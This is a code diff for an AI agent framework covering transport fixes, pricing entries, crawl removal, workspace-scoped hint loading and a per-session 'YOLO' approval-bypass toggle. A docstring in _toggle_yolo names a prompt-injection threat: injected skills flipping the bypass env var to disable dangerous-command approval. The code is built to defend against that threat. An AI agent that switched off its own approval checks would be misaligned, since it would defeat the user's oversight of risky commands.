+    # caught by _PREFIX_RE and _JWT_RE above. DB connection-string passwords
+    # are still caught by _DB_CONNSTR_RE.
 
     # Form-urlencoded bodies (only triggers on clean k=v&k=v inputs).
     if "&" in text and "=" in text:

agent/stream_diag.py

@@ -258,7 +258,7 @@ def emit_stream_drop(
         except Exception:
             pass
     try:
-        agent._emit_status(
+        agent._buffer_status(
             f"⚠️ {provider} stream {kind} ({type(error).__name__}){_suffix} "
             f"— reconnecting, retry {attempt}/{max_attempts}"
         )

agent/subdirectory_hints.py

@@ -45,6 +45,15 @@ _COMMAND_TOOLS = {"terminal"}
 # Prevents scanning all the way to / for deeply nested paths.
 _MAX_ANCESTOR_WALK = 5
 
+
+def _is_ancestor_or_same(a: Path, b: Path) -> bool:
+    """Check if *a* is the same as or an ancestor of *b* (parent directory check)."""
+    try:
+        b.relative_to(a)
+        return True
+    except ValueError:
+        return False
+
 class SubdirectoryHintTracker:
     """Track which directories the agent visits and load hints on first access.
 
@@ -158,7 +167,13 @@ class SubdirectoryHintTracker:
             self._add_path_candidate(token, candidates)
 
     def _is_valid_subdir(self, path: Path) -> bool:
-        """Check if path is a valid directory to scan for hints."""
+        """Check if path is a valid directory to scan for hints.
+
+        Only allow subdirectories within the working directory tree.
+        This prevents loading AGENTS.md from outside the active workspace
+        (e.g. ~/.codex/AGENTS.md, ~/.claude/CLAUDE.md), which causes
+        cross-agent context contamination and instruction mixup.
+        """
         try:
             if not path.is_dir():
                 return False
@@ -166,12 +181,43 @@ class SubdirectoryHintTracker:
             return False
         if path in self._loaded_dirs:
             return False
+        # Reject paths outside the working directory tree.
+        # path.resolve() may differ from working_dir.resolve() due to symlinks,
+        # but path.is_relative_to(working_dir) handles both absolute and
+        # symlinked paths correctly on Python 3.9+.
+        try:
+            if not path.is_relative_to(self.working_dir):
+                return False
+        except (OSError, ValueError):
+            # Older Python or path resolution error — fall back to parent
+            # check as a best-effort safeguard.
+            if not _is_ancestor_or_same(self.working_dir, path):
+                return False
         return True
 
     def _load_hints_for_directory(self, directory: Path) -> Optional[str]:
-        """Load hint files from a directory. Returns formatted text or None."""
+        """Load hint files from a directory. Returns formatted text or None.
+
+        Only loads hints from directories within the working directory tree.
+        """
         self._loaded_dirs.add(directory)
 
+        # Reject paths outside the working directory tree.
+        try:
+            if not directory.is_relative_to(self.working_dir):
+                logger.debug(
+                    "Skipping hint files in %s — outside working_dir %s",
+                    directory, self.working_dir,
+                )
+                return None
+        except (OSError, ValueError):
+            if not _is_ancestor_or_same(self.working_dir, directory):
+                logger.debug(
+                    "Skipping hint files in %s — outside working_dir %s",
+                    directory, self.working_dir,
+                )
+                return None
+
         found_hints = []
         for filename in _HINT_FILENAMES:
             hint_path = directory / filename

agent/transports/codex.py

@@ -17,16 +17,39 @@ class ResponsesApiTransport(ProviderTransport):
     Wraps the functions extracted into codex_responses_adapter.py (PR 1).
     """
 
+    # Issuer kind of the most recent build_kwargs / convert_messages call.
+    # Used as a fallback when normalize_response is invoked without an
+    # explicit ``issuer_kind`` kwarg, so reasoning items captured from a
+    # response are stamped with the endpoint that minted them. Plain class
+    # attribute default; mutated on the instance, not the class.
+    _last_issuer_kind: Optional[str] = None
+
     @property
     def api_mode(self) -> str:
         return "codex_responses"
 
+    def _resolve_issuer_kind(self, params: Dict[str, Any]) -> str:
+        """Classify the current Responses endpoint from transport params."""
+        from agent.codex_responses_adapter import _classify_responses_issuer
+        return _classify_responses_issuer(
+            is_xai_responses=bool(params.get("is_xai_responses")),
+            is_github_responses=bool(params.get("is_github_responses")),
+            is_codex_backend=bool(params.get("is_codex_backend")),
+            base_url=params.get("base_url"),
+        )
+
     def convert_messages(self, messages: List[Dict[str, Any]], **kwargs) -> Any:
         """Convert OpenAI chat messages to Responses API input items."""
         from agent.codex_responses_adapter import _chat_messages_to_responses_input
+        issuer = self._resolve_issuer_kind(kwargs)
+        self._last_issuer_kind = issuer
         return _chat_messages_to_responses_input(
             messages,
             is_xai_responses=bool(kwargs.get("is_xai_responses")),
+            replay_encrypted_reasoning=bool(
+                kwargs.get("replay_encrypted_reasoning", True)
+            ),
+            current_issuer_kind=issuer,
         )
 
     def convert_tools(self, tools: List[Dict[str, Any]]) -> Any:
@@ -79,6 +102,17 @@ class ResponsesApiTransport(ProviderTransport):
         is_github_responses = params.get("is_github_responses", False)
         is_codex_backend = params.get("is_codex_backend", False)
         is_xai_responses = params.get("is_xai_responses", False)
+        replay_encrypted_reasoning = bool(
+            params.get("replay_encrypted_reasoning", True)
+        )
+
+        # Resolve the issuing endpoint for this call. Stashed on the
+        # transport so normalize_response can stamp it onto reasoning
+        # items captured from the response, and passed to the input
+        # converter so foreign-issuer reasoning blocks in history are
+        # dropped before the API rejects them.
+        issuer_kind = self._resolve_issuer_kind(params)
+        self._last_issuer_kind = issuer_kind
 
         # Resolve reasoning effort
         reasoning_effort = "medium"
@@ -94,17 +128,27 @@ class ResponsesApiTransport(ProviderTransport):
         reasoning_effort = _effort_clamp.get(reasoning_effort, reasoning_effort)
 
         response_tools = _responses_tools(tools)
+        # ``tools`` MUST be omitted entirely when there are no functions to
+        # expose: the openai SDK's ``responses.stream()`` / ``responses.parse()``
+        # eagerly call ``_make_tools(tools)`` which does ``for tool in tools``
+        # without a None guard, so passing ``tools=None`` raises
+        # ``TypeError: 'NoneType' object is not iterable`` before any HTTP
+        # request is issued (openai==2.24.0).  Reported for the
+        # ``openai-codex`` / ``gpt-5.5`` combo on chatgpt.com/backend-api/codex
+        # (#32892) when the agent runs without external tools registered.
         kwargs = {
             "model": model,
             "instructions": instructions,
             "input": _chat_messages_to_responses_input(
                 payload_messages,
                 is_xai_responses=is_xai_responses,
+                replay_encrypted_reasoning=replay_encrypted_reasoning,
+                current_issuer_kind=issuer_kind,
             ),
-            "tools": response_tools,
             "store": False,
         }
         if response_tools:
+            kwargs["tools"] = response_tools
             kwargs["tool_choice"] = "auto"
             kwargs["parallel_tool_calls"] = True
 
@@ -121,7 +165,9 @@ class ResponsesApiTransport(ProviderTransport):
             # replay them on subsequent turns for cross-turn coherence.
             # See agent/codex_responses_adapter._chat_messages_to_responses_input
             # for the May 2026 reversal of the earlier suppression gate.
-            kwargs["include"] = ["reasoning.encrypted_content"]
+            kwargs["include"] = (
+                ["reasoning.encrypted_content"] if replay_encrypted_reasoning else []
+            )
             # xAI rejects `reasoning.effort` on grok-4 / grok-4-fast / grok-3
             # / grok-code-fast / grok-4.20-0309-* with HTTP 400 even though
             # those models reason natively. Only send the effort dial when
@@ -136,7 +182,9 @@ class ResponsesApiTransport(ProviderTransport):
                     kwargs["reasoning"] = github_reasoning
             else:
                 kwargs["reasoning"] = {"effort": reasoning_effort, "summary": "auto"}
-                kwargs["include"] = ["reasoning.encrypted_content"]
+                kwargs["include"] = (
+                    ["reasoning.encrypted_content"] if replay_encrypted_reasoning else []
+                )
         elif not is_github_responses and not is_xai_responses:
             kwargs["include"] = []
 
@@ -144,6 +192,17 @@ class ResponsesApiTransport(ProviderTransport):
         if request_overrides:
             kwargs.update(request_overrides)
 
+        # xAI Responses API rejects ``service_tier`` (HTTP 400 "Argument not
+        # supported: service_tier") — hit when ``/fast`` priority-processing
+        # mode lingers from a prior model in the same session, or when a
+        # user explicitly sets ``agent.service_tier`` in config.yaml.  The
+        # main-loop guard (``resolve_fast_mode_overrides`` only returns
+        # ``service_tier`` for OpenAI fast-eligible models) doesn't cover
+        # those leak paths, so strip defensively when targeting xAI.  See
+        # #28490 for the original report.
+        if is_xai_responses:
+            kwargs.pop("service_tier", None)
+
         # Forward per-request timeout to the SDK so OpenAI/Anthropic clients
         # honor it.  Without this, ``providers.<id>.request_timeout_seconds``
         # is silently dropped on the main agent Codex path while the
@@ -213,8 +272,13 @@ class ResponsesApiTransport(ProviderTransport):
             _normalize_codex_response,
         )
 
+        # Issuer for this response = explicit kwarg if the caller knows it,
+        # otherwise the stash from the matching build_kwargs/convert_messages
+        # call. Either way it gets stamped onto reasoning items so future
+        # turns can detect a model swap and drop foreign-issuer blobs.
+        issuer_kind = kwargs.get("issuer_kind") or self._last_issuer_kind
         # _normalize_codex_response returns (SimpleNamespace, finish_reason_str)
-        msg, finish_reason = _normalize_codex_response(response)
+        msg, finish_reason = _normalize_codex_response(response, issuer_kind=issuer_kind)
 
         tool_calls = None
         if msg and msg.tool_calls:

agent/usage_pricing.py

@@ -83,6 +83,34 @@ _UTC_NOW = lambda: datetime.now(timezone.utc)
 # Official docs snapshot entries. Models whose published pricing and cache
 # semantics are stable enough to encode exactly.
 _OFFICIAL_DOCS_PRICING: Dict[tuple[str, str], PricingEntry] = {
+    # ── Anthropic Claude 4.8 ─────────────────────────────────────────────
+    # Same $5/$25 base pricing as 4.6/4.7.  Fast-mode variant is a separate
+    # model ID with 2x premium (vs the 6x premium on older Opus generations).
+    # Source: https://openrouter.ai/anthropic/claude-opus-4.8
+    (
+        "anthropic",
+        "claude-opus-4-8",
+    ): PricingEntry(
+        input_cost_per_million=Decimal("5.00"),
+        output_cost_per_million=Decimal("25.00"),
+        cache_read_cost_per_million=Decimal("0.50"),
+        cache_write_cost_per_million=Decimal("6.25"),
+        source="official_docs_snapshot",
+        source_url="https://platform.claude.com/docs/en/about-claude/pricing",
+        pricing_version="anthropic-pricing-2026-05",
+    ),
+    (
+        "anthropic",
+        "claude-opus-4-8-fast",
+    ): PricingEntry(
+        input_cost_per_million=Decimal("10.00"),
+        output_cost_per_million=Decimal("50.00"),
+        cache_read_cost_per_million=Decimal("1.00"),
+        cache_write_cost_per_million=Decimal("12.50"),
+        source="official_docs_snapshot",
+        source_url="https://openrouter.ai/anthropic/claude-opus-4.8-fast",
+        pricing_version="anthropic-pricing-2026-05",
+    ),
     # ── Anthropic Claude 4.7 ─────────────────────────────────────────────
     # Opus 4.5/4.6/4.7 share $5/$25 pricing (new tokenizer, up to 35% more
     # tokens for the same text).
@@ -711,8 +739,8 @@ def normalize_usage(
         output_tokens = _to_int(getattr(response_usage, "completion_tokens", 0))
         details = getattr(response_usage, "prompt_tokens_details", None)
         # Primary: OpenAI-style prompt_tokens_details. Fallback: Anthropic-style
-        # top-level fields that some OpenAI-compatible proxies (OpenRouter, Vercel
-        # AI Gateway, Cline) expose when routing Claude models — without this
+        # top-level fields that some OpenAI-compatible proxies (OpenRouter, Cline)
+        # expose when routing Claude models — without this
         # fallback, cache writes are undercounted as 0 and cache reads can be
         # missed when the proxy only surfaces them at the top level.
         # Port of cline/cline#10266.

agent/web_search_provider.py

@@ -61,14 +61,14 @@ from typing import Any, Dict, List
 
 
 class WebSearchProvider(abc.ABC):
-    """Abstract base class for a web search/extract/crawl backend.
+    """Abstract base class for a web search/extract backend.
 
     Subclasses must implement :meth:`is_available` and at least one of
-    :meth:`search` / :meth:`extract` / :meth:`crawl`. The
-    :meth:`supports_search` / :meth:`supports_extract` / :meth:`supports_crawl`
-    capability flags let the registry route each tool call to the right
-    provider, and let multi-capability providers (Firecrawl, Tavily, Exa,
-    …) advertise multiple capabilities from a single class.
+    :meth:`search` / :meth:`extract`. The :meth:`supports_search` /
+    :meth:`supports_extract` capability flags let the registry route each
+    tool call to the right provider, and let multi-capability providers
+    (Firecrawl, Tavily, Exa, …) advertise multiple capabilities from a
+    single class.
     """
 
     @property
@@ -113,22 +113,6 @@ class WebSearchProvider(abc.ABC):
         """
         return False
 
-    def supports_crawl(self) -> bool:
-        """Return True if this provider implements :meth:`crawl`.
-
-        Crawl differs from extract in that the agent provides a *seed URL*
-        and the provider walks linked pages on its own — useful for
-        documentation sites where the agent doesn't know all relevant
-        URLs upfront. Tavily is the only built-in backend that natively
-        crawls today; Firecrawl provides a similar capability that we
-        don't currently surface as a tool.
-
-        Providers that don't crawl should leave this as False; the
-        dispatcher in :func:`tools.web_tools.web_crawl_tool` will fall
-        back to its auxiliary-model summarization path.
-        """
-        return False
-
     def search(self, query: str, limit: int = 5) -> Dict[str, Any]:
         """Execute a web search.
 
@@ -173,26 +157,6 @@ class WebSearchProvider(abc.ABC):
             f"{self.name} does not support extract (override supports_extract)"
         )
 
-    def crawl(self, url: str, **kwargs: Any) -> Any:
-        """Crawl a seed URL and return results.
-
-        Override when :meth:`supports_crawl` returns True. The default
-        raises NotImplementedError; callers should gate on
-        :meth:`supports_crawl` before calling.
-
-        Return shape: ``{"results": [{"url": str, "title": str,
-        "content": str, ...}, ...]}`` matching what
-        :func:`tools.web_tools.web_crawl_tool` post-processing expects.
-
-        Implementations MAY be ``async def``.
-
-        ``kwargs`` may carry forward-compat fields (e.g. ``max_depth``,
-        ``include_domains``) — implementations should ignore unknown keys.
-        """
-        raise NotImplementedError(
-            f"{self.name} does not support crawl (override supports_crawl)"
-        )
-
     def get_setup_schema(self) -> Dict[str, Any]:
         """Return provider metadata for the ``hermes tools`` picker.
 

agent/web_search_registry.py

@@ -11,7 +11,7 @@ Active selection
 ----------------
 The active provider is chosen by configuration with this precedence:
 
-1. ``web.search_backend`` / ``web.extract_backend`` / ``web.crawl_backend``
+1. ``web.search_backend`` / ``web.extract_backend``
    (per-capability override).
 2. ``web.backend`` (shared fallback).
 3. If exactly one capability-eligible provider is registered AND available,
@@ -24,10 +24,10 @@ The active provider is chosen by configuration with this precedence:
 5. Otherwise ``None`` — the tool surfaces a helpful error pointing at
    ``hermes tools``.
 
-The capability filter (``supports_search`` / ``supports_extract`` /
-``supports_crawl``) is applied at every step so a search-only provider
-(``brave-free``) configured as ``web.extract_backend`` correctly falls
-through to an extract-capable backend.
+The capability filter (``supports_search`` / ``supports_extract``) is
+applied at every step so a search-only provider (``brave-free``)
+configured as ``web.extract_backend`` correctly falls through to an
+extract-capable backend.
 """
 
 from __future__ import annotations
@@ -131,7 +131,7 @@ _LEGACY_PREFERENCE = (
 
 
 def _resolve(configured: Optional[str], *, capability: str) -> Optional[WebSearchProvider]:
-    """Resolve the active provider for a capability ("search" | "extract" | "crawl").
+    """Resolve the active provider for a capability ("search" | "extract").
 
     Resolution rules (in order):
 
@@ -168,8 +168,6 @@ def _resolve(configured: Optional[str], *, capability: str) -> Optional[WebSearc
             return bool(p.supports_search())
         if capability == "extract":
             return bool(p.supports_extract())
-        if capability == "crawl":
-            return bool(p.supports_crawl())
         return False
 
     def _is_available_safe(p: WebSearchProvider) -> bool:
@@ -241,21 +239,6 @@ def get_active_extract_provider() -> Optional[WebSearchProvider]:
     return _resolve(explicit, capability="extract")
 
 
-def get_active_crawl_provider() -> Optional[WebSearchProvider]:
-    """Resolve the currently-active web crawl provider.
-
-    Reads ``web.crawl_backend`` (preferred) or ``web.backend`` (shared
-    fallback) from config.yaml; falls back per the module docstring.
-
-    Crawl is a niche capability — among built-in providers only Tavily and
-    Firecrawl implement it. Callers should expect ``None`` and fall back to
-    a different strategy (e.g. summarize-via-LLM) when neither is
-    configured.
-    """
-    explicit = _read_config_key("web", "crawl_backend") or _read_config_key("web", "backend")
-    return _resolve(explicit, capability="crawl")
-
-
 def _reset_for_tests() -> None:
     """Clear the registry. **Test-only.**"""
     with _lock:

cli-config.yaml.example

@@ -29,7 +29,6 @@ model:
   #   "arcee"        - Arcee AI Trinity models (requires: ARCEEAI_API_KEY)
   #   "ollama-cloud" - Ollama Cloud (requires: OLLAMA_API_KEY — https://ollama.com/settings)
   #   "kilocode"     - KiloCode gateway (requires: KILOCODE_API_KEY)
-  #   "ai-gateway"   - Vercel AI Gateway (requires: AI_GATEWAY_API_KEY)
   #   "azure-foundry" - Microsoft Foundry / Azure OpenAI (API key or Entra ID)
   #   "lmstudio"     - LM Studio local server (optional: LM_API_KEY, defaults to http://127.0.0.1:1234/v1)
   #
@@ -917,6 +916,15 @@ display:
   # Toggle at runtime with /verbose in the CLI
   tool_progress: all
 
+  # Per-platform defaults can be quieter than the global setting. Telegram
+  # tunes for mobile: tool_progress and busy_ack_detail default off (no
+  # per-tool breadcrumb stream, no "iteration 21/60" debug detail in busy
+  # acks or heartbeats), but interim_assistant_messages and
+  # long_running_notifications STAY ON so the user has real signal between
+  # turn start and final answer (mid-turn assistant commentary + a single
+  # edit-in-place "⏳ Working — N min" heartbeat). Override under
+  # display.platforms.telegram.
+
   # Auto-cleanup of temporary progress bubbles after the final response lands.
   # On platforms that support message deletion (currently Telegram), this
   # removes the tool-progress bubble, "⏳ Still working..." notices, and
@@ -940,6 +948,22 @@ display:
   #   false: Only send the final response
   interim_assistant_messages: true
 
+  # Gateway-only long-running status heartbeats.
+  # When false, the platform does not receive periodic "⏳ Working — N min"
+  # notifications even if agent.gateway_notify_interval is non-zero. The
+  # heartbeat edits a single message in place (where the adapter supports
+  # editing) instead of posting a new bubble each interval.
+  # Default: true everywhere, including Telegram (silent agents are worse
+  # than a single edit-in-place heartbeat).
+  long_running_notifications: true
+
+  # Include detailed iteration/tool/status context in busy acknowledgments
+  # and long-running heartbeats. When true, busy acks show "iteration 21/60,
+  # terminal, 10 min" and the heartbeat shows "⏳ Working — 12 min,
+  # iteration 21/60, terminal". When false (Telegram default), both stay
+  # terse: "Interrupting current task" and "⏳ Working — 12 min, terminal".
+  busy_ack_detail: true
+
   # What Enter does when Hermes is already busy (CLI and gateway platforms).
   #   interrupt: Interrupt the current run and redirect Hermes (default)
   #   queue:     Queue your message for the next turn
@@ -1098,3 +1122,46 @@ display:
 #     - command: "~/.hermes/agent-hooks/log-orchestration.sh"
 #
 # hooks_auto_accept: false
+
+
+# =============================================================================
+# Web Dashboard
+# =============================================================================
+# OAuth gate configuration for `hermes dashboard --host <non-loopback>`.
+# The bundled Nous Portal plugin reads these on startup; settings here are
+# the canonical surface. Each can be overridden by an environment variable:
+#
+#   dashboard.oauth.client_id   <-  HERMES_DASHBOARD_OAUTH_CLIENT_ID
+#   dashboard.oauth.portal_url  <-  HERMES_DASHBOARD_PORTAL_URL
+#   dashboard.public_url        <-  HERMES_DASHBOARD_PUBLIC_URL
+#
+# Env wins when set to a non-empty value. This is what Fly.io's platform-
+# secret injection uses to push per-deploy client_ids without needing to
+# bake a config.yaml into the image. Empty env values are treated as unset
+# so a provisioned-but-not-populated secret can't shadow a valid entry here.
+#
+# Local dev / on-prem deploys should typically set these via config.yaml
+# (the ~/.hermes/.env file is reserved for API keys and secrets).
+#
+# dashboard:
+#   oauth:
+#     client_id: ""    # agent:{instance_id}; Portal provisions this at deploy
+#     portal_url: ""   # blank → default https://portal.nousresearch.com
+#
+#   # Force the absolute base URL the OAuth callback (and any other public
+#   # URL the dashboard hands to external systems) is built from. Set this
+#   # for deploys behind reverse proxies that don't reliably forward
+#   # X-Forwarded-Host / X-Forwarded-Proto / X-Forwarded-Prefix (manual
+#   # nginx setups, on-prem ingresses, custom-domain Fly deploys without
+#   # full proxy header chains).
+#   #
+#   # When set, the value is the complete authority: scheme + host +
+#   # optional path prefix (e.g. "https://example.com/hermes"). The OAuth
+#   # callback URL becomes "<public_url>/auth/callback" — X-Forwarded-Prefix
+#   # is IGNORED on this code path because the operator has explicitly
+#   # declared the public URL and we no longer need to guess.
+#   #
+#   # Leave empty to use the existing proxy-header reconstruction (the
+#   # default — works on Fly.io out of the box).
+#   #
+#   #   public_url: "https://example.com/hermes"

cli.py

@@ -168,7 +168,7 @@ from hermes_cli.browser_connect import (
     try_launch_chrome_debug,
 )
 from hermes_cli.env_loader import load_hermes_dotenv
-from utils import base_url_host_matches, is_truthy_value
+from utils import base_url_host_matches
 
 _hermes_home = get_hermes_home()
 _project_env = Path(__file__).parent / '.env'
@@ -562,13 +562,12 @@ def load_cli_config() -> Dict[str, Any]:
         "singularity_image": "TERMINAL_SINGULARITY_IMAGE",
         "modal_image": "TERMINAL_MODAL_IMAGE",
         "daytona_image": "TERMINAL_DAYTONA_IMAGE",
-        "vercel_runtime": "TERMINAL_VERCEL_RUNTIME",
         # SSH config
         "ssh_host": "TERMINAL_SSH_HOST",
         "ssh_user": "TERMINAL_SSH_USER",
         "ssh_port": "TERMINAL_SSH_PORT",
         "ssh_key": "TERMINAL_SSH_KEY",
-        # Container resource config (docker, singularity, modal, daytona, vercel_sandbox -- ignored for local/ssh)
+        # Container resource config (docker, singularity, modal, daytona -- ignored for local/ssh)
         "container_cpu": "TERMINAL_CONTAINER_CPU",
         "container_memory": "TERMINAL_CONTAINER_MEMORY",
         "container_disk": "TERMINAL_CONTAINER_DISK",
@@ -577,6 +576,8 @@ def load_cli_config() -> Dict[str, Any]:
         "docker_env": "TERMINAL_DOCKER_ENV",
         "docker_mount_cwd_to_workspace": "TERMINAL_DOCKER_MOUNT_CWD_TO_WORKSPACE",
         "docker_run_as_host_user": "TERMINAL_DOCKER_RUN_AS_HOST_USER",
+        "docker_persist_across_processes": "TERMINAL_DOCKER_PERSIST_ACROSS_PROCESSES",
+        "docker_orphan_reaper": "TERMINAL_DOCKER_ORPHAN_REAPER",
         "sandbox_dir": "TERMINAL_SANDBOX_DIR",
         # Persistent shell (non-local backends)
         "persistent_shell": "TERMINAL_PERSISTENT_SHELL",
@@ -3748,7 +3749,7 @@ class HermesCLI:
             percent_label = f"{percent}%" if percent is not None else "--"
             duration_label = snapshot["duration"]
 
-            yolo_active = bool(os.getenv("HERMES_YOLO_MODE"))
+            yolo_active = self._is_session_yolo_active()
             if width < 52:
                 text = f"⚕ {snapshot['model_short']} · {duration_label}"
                 if yolo_active:
@@ -3809,7 +3810,7 @@ class HermesCLI:
             # line and produce duplicated status bar rows over long sessions.
             width = self._get_tui_terminal_width()
             duration_label = snapshot["duration"]
-            yolo_active = bool(os.getenv("HERMES_YOLO_MODE"))
+            yolo_active = self._is_session_yolo_active()
 
             if width < 52:
                 frags = [
@@ -6908,6 +6909,7 @@ class HermesCLI:
             pass
 
         # Switch to the new session
+        self._transfer_session_yolo(self.session_id, new_session_id)
         self.session_id = new_session_id
         self.session_start = now
         self._pending_title = None
@@ -7155,11 +7157,13 @@ class HermesCLI:
 
         * ``sys.platform == "win32"`` — native Windows console (ConPTY /
           win32_input) does not support the modal reliably.
-        * Called from a non-main thread — the prompt_toolkit event loop only
-          runs on the main thread; key bindings can't fire from a daemon
-          thread (same rationale as the ``_prompt_text_input`` thread guard
-          in PR #23454).
         * ``self._app`` is not set — unit tests / non-interactive contexts.
+
+        On non-Windows platforms the modal itself is still safe from the
+        ``process_loop`` daemon thread as long as the main-thread event loop
+        owns the prompt_toolkit buffer mutations.  When we are off the main
+        thread, schedule the modal snapshot / restore work on ``self._app.loop``
+        via ``call_soon_threadsafe`` and keep the queue-based response path.
         """
         import threading
         import time as _time
@@ -7180,33 +7184,62 @@ class HermesCLI:
         if sys.platform == "win32":
             return self._prompt_text_input("Choice [1/2/3]: ")
 
-        # Mirror the thread-aware guard from _prompt_text_input (PR #23454):
-        # run_in_terminal and the modal queue both depend on the main-thread
-        # event loop.  From a daemon thread the modal key bindings never fire.
-        if threading.current_thread() is not threading.main_thread():
+        try:
+            app_loop = self._app.loop
+        except Exception:
+            app_loop = None
+
+        in_main_thread = threading.current_thread() is threading.main_thread()
+        if not in_main_thread and app_loop is None:
             return self._prompt_text_input("Choice [1/2/3]: ")
 
         response_queue = queue.Queue()
-        self._capture_modal_input_snapshot()
-        self._slash_confirm_state = {
-            "title": title,
-            "detail": detail,
-            "choices": choices,
-            "selected": 0,
-            "response_queue": response_queue,
-        }
-        self._slash_confirm_deadline = _time.monotonic() + timeout
-        self._invalidate()
+
+        def _setup_modal() -> None:
+            self._capture_modal_input_snapshot()
+            self._slash_confirm_state = {
+                "title": title,
+                "detail": detail,
+                "choices": choices,
+                "selected": 0,
+                "response_queue": response_queue,
+            }
+            self._slash_confirm_deadline = _time.monotonic() + timeout
+            self._invalidate()
+
+        def _teardown_modal() -> None:
+            self._slash_confirm_state = None
+            self._slash_confirm_deadline = 0
+            self._restore_modal_input_snapshot()
+            self._invalidate()
+
+        def _run_on_app_loop(fn) -> bool:
+            if in_main_thread or app_loop is None:
+                fn()
+                return True
+            ready = threading.Event()
+
+            def _wrapped() -> None:
+                try:
+                    fn()
+                finally:
+                    ready.set()
+
+            try:
+                app_loop.call_soon_threadsafe(_wrapped)
+            except Exception:
+                return False
+            return ready.wait(timeout=5)
+
+        if not _run_on_app_loop(_setup_modal):
+            return self._prompt_text_input("Choice [1/2/3]: ")
 
         _last_countdown_refresh = _time.monotonic()
         try:
             while True:
                 try:
                     result = response_queue.get(timeout=1)
-                    self._slash_confirm_state = None
-                    self._slash_confirm_deadline = 0
-                    self._restore_modal_input_snapshot()
-                    self._invalidate()
+                    _run_on_app_loop(_teardown_modal)
                     return result
                 except queue.Empty:
                     remaining = self._slash_confirm_deadline - _time.monotonic()
@@ -7218,10 +7251,7 @@ class HermesCLI:
                         self._invalidate()
         finally:
             if self._slash_confirm_state is not None:
-                self._slash_confirm_state = None
-                self._slash_confirm_deadline = 0
-                self._restore_modal_input_snapshot()
-                self._invalidate()
+                _run_on_app_loop(_teardown_modal)
         return None
 
     def _submit_slash_confirm_response(self, value: str | None) -> None:
@@ -7559,8 +7589,19 @@ class HermesCLI:
         parts = cmd_original.split(None, 1)  # split off '/model'
         raw_args = parts[1].strip() if len(parts) > 1 else ""
 
-        # Parse --provider and --global flags
-        model_input, explicit_provider, persist_global = parse_model_flags(raw_args)
+        # Parse --provider, --global, and --refresh flags
+        model_input, explicit_provider, persist_global, force_refresh = parse_model_flags(raw_args)
+
+        # --refresh: wipe the on-disk picker cache before building the
+        # provider list. Forces a live re-fetch of every authed provider's
+        # /v1/models endpoint on this open.
+        if force_refresh:
+            try:
+                from hermes_cli.models import clear_provider_models_cache
+                clear_provider_models_cache()
+                _cprint("  Cleared model picker cache. Refreshing...")
+            except Exception:
+                pass
 
         # Single inventory context — replaces the inline config-slice the
         # dashboard / TUI used to duplicate. Overlay live session state
@@ -7599,6 +7640,7 @@ class HermesCLI:
                 _cprint("")
                 _cprint("  /model <name>                        switch model")
                 _cprint("  /model --provider <slug>             switch provider")
+                _cprint("  /model --refresh                     re-fetch live model lists")
                 return
 
             self._open_model_picker(
@@ -9580,20 +9622,92 @@ class HermesCLI:
         }
         _cprint(labels.get(self.tool_progress_mode, ""))
 
-    def _toggle_yolo(self):
-        """Toggle YOLO mode — skip all dangerous command approval prompts."""
-        import os
-        from hermes_cli.colors import Colors as _Colors
+    def _transfer_session_yolo(self, old_session_id: str, new_session_id: str) -> None:
+        """Move YOLO bypass state from an old session key to a new one.
 
-        current = is_truthy_value(os.environ.get("HERMES_YOLO_MODE"))
-        if current:
-            os.environ.pop("HERMES_YOLO_MODE", None)
+        Called whenever ``self.session_id`` is reassigned mid-run — ``/branch``
+        forks into a new session, and auto-compression rotates the agent's
+        session id into a fresh continuation session. Without this transfer
+        the user's ``/yolo ON`` toggle would silently revert on the very next
+        turn (the same UX failure mode that motivated this entire fix), since
+        ``_session_yolo`` is keyed by session id.
+
+        Mirrors ``tui_gateway/server.py`` (~line 1297-1305) which performs the
+        same transfer for the TUI's session-rename path. No-op when YOLO
+        wasn't enabled or when the ids match.
+        """
+        if not old_session_id or not new_session_id or old_session_id == new_session_id:
+            return
+        try:
+            from tools.approval import (
+                disable_session_yolo,
+                enable_session_yolo,
+                is_session_yolo_enabled,
+            )
+        except Exception:
+            return
+        if is_session_yolo_enabled(old_session_id):
+            enable_session_yolo(new_session_id)
+            disable_session_yolo(old_session_id)
+
+    def _is_session_yolo_active(self) -> bool:
+        """Whether YOLO bypass is currently enabled for this CLI session.
+
+        Reads from ``tools.approval._session_yolo`` (the same set that
+        ``enable_session_yolo`` / ``disable_session_yolo`` write to) so the
+        status bar reflects the actual bypass state instead of a stale env
+        var. Also honors the process-start ``--yolo`` flag, which freezes
+        ``HERMES_YOLO_MODE`` into ``_YOLO_MODE_FROZEN`` before tool imports
+        happen.
+        """
+        try:
+            from tools.approval import (
+                _YOLO_MODE_FROZEN,
+                is_session_yolo_enabled,
+            )
+        except Exception:
+            return False
+        if _YOLO_MODE_FROZEN:
+            return True
+        # Use ``getattr`` so test fixtures that build a CLI via ``__new__``
+        # (skipping ``__init__``) don't trip an AttributeError here; the
+        # status-bar builders swallow exceptions silently but lose every
+        # field after the failure.
+        session_key = getattr(self, "session_id", None) or "default"
+        return is_session_yolo_enabled(session_key)
+
+    def _toggle_yolo(self):
+        """Toggle YOLO mode — skip all dangerous command approval prompts.
+
+        Per-session toggle that mirrors the gateway and TUI ``/yolo`` handlers
+        (see ``gateway/run.py:_handle_yolo_command`` and
+        ``tui_gateway/server.py`` key=="yolo"). We deliberately do NOT mutate
+        ``HERMES_YOLO_MODE`` here — that env var is read once at module import
+        time into ``tools.approval._YOLO_MODE_FROZEN`` to keep prompt-injected
+        skills from flipping the bypass mid-session, so setting it after CLI
+        startup is a silent no-op. Routing through ``enable_session_yolo`` /
+        ``disable_session_yolo`` gives the same auditable, per-session bypass
+        the other surfaces have. ``run_conversation`` binds
+        ``self.session_id`` as the active approval session key via
+        ``set_current_session_key`` so the bypass takes effect on the very
+        next dangerous command in this run.
+        """
+        from hermes_cli.colors import Colors as _Colors
+        from tools.approval import (
+            disable_session_yolo,
+            enable_session_yolo,
+            is_session_yolo_enabled,
+        )
+
+        session_key = self.session_id or "default"
+        if is_session_yolo_enabled(session_key):
+            disable_session_yolo(session_key)
             _cprint(
                 f"  ⚠ YOLO mode {_Colors.BOLD}{_Colors.RED}OFF{_Colors.RESET}"
                 " — dangerous commands will require approval."
             )
         else:
-            os.environ["HERMES_YOLO_MODE"] = "1"
+            enable_session_yolo(session_key)
             _cprint(
                 f"  ⚡ YOLO mode {_Colors.BOLD}{_Colors.GREEN}ON{_Colors.RESET}"
                 " — all commands auto-approved. Use with caution."
@@ -10640,7 +10754,8 @@ class HermesCLI:
         if not reqs.get("stt_available", reqs.get("stt_key_set")):
             raise RuntimeError(
                 "Voice mode requires an STT provider for transcription.\n"
